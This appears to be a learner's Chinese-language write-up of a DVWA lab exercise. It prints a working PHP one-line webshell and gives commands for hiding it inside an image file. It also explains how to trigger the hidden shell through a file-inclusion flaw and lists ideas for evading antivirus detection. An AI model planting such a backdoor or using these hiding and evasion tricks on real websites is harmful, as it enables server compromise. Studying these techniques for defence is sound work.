<?php @eval($_POST['attack']) ?>
最简单的一句话木马。
原理:利用上传文件过滤不完善的原则,上传这段PHP代码。@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']表示从页面中获得attack这个参数值。最后,只要攻击者满足三个条件,就能实现成功入侵。第一,木马上传成功,未被杀;第二,知道木马的路径在哪;第三,上传的木马能正常运行。
在这里,攻击者得注意好几个问题:
1.木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关。
所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。
windows下的合并文件方法:图片a.png 文本b.png 生成结果c.png
命令: shift+右键 在当前路径下打开DOS窗口
copy a.png/b + b.txt/a c.png 图片是二进制编码,文本是ascii编码
至于为什么这样编码就可以,原理不清楚。
linux下将file1.txt追加到file2.jpg后面的方法:
cat file1.txt >> file2.jpg
若要将两个文件合并成第三个文件,而不是追加,那么用命令:
cat file1.txt file2.jpg >> file3.jpg
注意:这里融合的顺序和命令有关。上面这个融合好的file3.jpg无法作为图片打开,用编辑器打开后,发现文本内容体现在最上方。但是,若将file1.txt和file2.jpg的顺序调换一下,那么就可以作为图片打开,这时候,再用编辑器打开此文件,发现文本内容被追加到了最后。
2.木马上传成功了,如何才能连接上木马?即上传木马还得保证木马能正常运行。
一般情况下,这里能上传成功的都是图片木马,换句话说,就是隐藏在图片中,无法直接使用的木马。还得综合其他的漏洞来触发相应的条件,来使用木马。比如某些漏洞能执行一些命令,某些漏洞能爆出文件路径。其中,关于文件包含漏洞的理解是这样的,文件包含漏洞就是说,一旦爆出,不管什么文件,都会当做PHP脚本运行,所以,在dvwa中就可以利用文件包含漏洞漏洞执行我们上传好的图片木马。可是,这里又存在一个问题,那就是,PHP规定,他的头部若不是PHP代码,那么无法正常运行,这就导致了很多函数无法使用,比如echo,但是phpinfo()可以用,来验证图片木马是否生效。这儿还有一种思路,就是我们上传的图片木马可以利用文件包含漏洞在生成一个小马,在这个小马中执行恶意代码。只要满足两个条件就能使用图片木马,第一,图片木马路径被爆出来了,攻击者知道了。第二,攻击者找到了其他能让上传木马生效的漏洞,从而使图片木马为真正的木马。
这个坑硬是坑了我几小时!PHP里面单引号和双引号是有区别的!单引号是不进行解释,直接输出!双引号是进行解释,再输出!我上面的错误,导致我的一句话木马只能出错!因为那个语句无法解释。而下面的修改后就没有问题。
需要注意的是,这里修改page后面的参数,激活文件包含漏洞,使大马产生效果,生成小马的时候,一定要注意小马的名字和路径。路径是在fi/下!虽然page=大马的位置,但是,大马只是因为文件包含漏洞才在fi/这个页面下产生的效果,这才产生了小马。所以,小马的位置就在这。
但是,只要防御者注意不主动报出上传文件的路径,定期杀毒,就很容易防御这种攻击。
补充:这里我还有一个思路,通过这种大马生小马的方式,用大马生成免杀小马,效果会不会不错?比如:我用weevely生成变形过的后门,然后利用图片大马,里面生成我这样的后门小马。另外,防御者不报出文件上传的路径,攻击者也无法得到地址解析,那么有没有一种上传,能上传成功后主动报出路径呢?或者,利用暴力破解的思路,来穷举出文件可能上传的地址?而我写网页的时候,了解到有些网页,只有管理员才有权限访问,其他人没有凭证,所以无法访问,那么攻击者如何获取访问权限,也是一个问题。
3.就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?
上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。。。因此,作为攻击者就得会各种免杀技巧。
防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。
所以,攻击者得不断创新,发明新的免杀技巧。
几种免杀思路:
1.将源代码进行再次编码。
2.将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:
3.还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。。很强。。
不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。